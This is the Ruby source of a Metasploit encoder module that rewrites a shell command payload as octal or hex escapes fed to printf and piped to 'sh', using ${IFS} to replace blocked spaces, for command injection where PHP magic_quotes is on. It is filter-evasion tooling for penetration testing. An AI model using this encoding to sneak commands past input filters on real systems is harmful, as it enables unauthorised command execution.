Path: blob/master/modules/encoders/cmd/printf_php_mq.rb
21537 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Encoder67# Has some issues, but overall it's pretty good8# - printf(1) may not be available9# - requires: "\x7c\x73\x68\x5c\x78"10# - doesn't work on windows11# - min size increase: 4x + 912# - max size increase: 4x + 1413# However, because it intentionally leaves backslashes unescaped (assuming14# that PHP's magic_quotes_gpc will take care of escaping them) it is15# unsuitable for most exploits.16Rank = ManualRanking1718def initialize19super(20'Name' => 'printf(1) via PHP magic_quotes Utility Command Encoder',21'Description' => %q{22This encoder uses the printf(1) utility to avoid restricted23characters. Some shell variable substitution may also be used24if needed symbols are blacklisted. Some characters are intentionally25left unescaped since it is assumed that PHP with magic_quotes_gpc26enabled will escape them during request handling.27},28'Author' => 'jduck',29'Arch' => ARCH_CMD,30'Platform' => 'unix',31'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes)32end3334#35# Encodes the payload36#37def encode_block(state, buf)38# Skip encoding for empty badchars39if state.badchars.empty?40return buf41end4243# If backslash is bad, we are screwed.44if state.badchars.include?('\\') ||45state.badchars.include?('|') ||46# We must have at least ONE of these two..47(state.badchars.include?('x') && state.badchars.include?('0'))48raise EncodingError49end5051# Now we build a string of the original payload with bad characters52# into \0<NNN> or \x<HH>53if state.badchars.include?('x')54hex = buf.unpack('C*').collect { |c| '\\0%o' % c }.join55else56hex = buf.unpack('C*').collect { |c| '\\x%x' % c }.join57end5859# Build the final output60ret = 'printf'6162# Special case: <SPACE>, try to use ${IFS}63if state.badchars.include?(' ')64ret << '${IFS}'65else66ret << ' '67end6869ret << hex << '|sh'7071return ret72end73end747576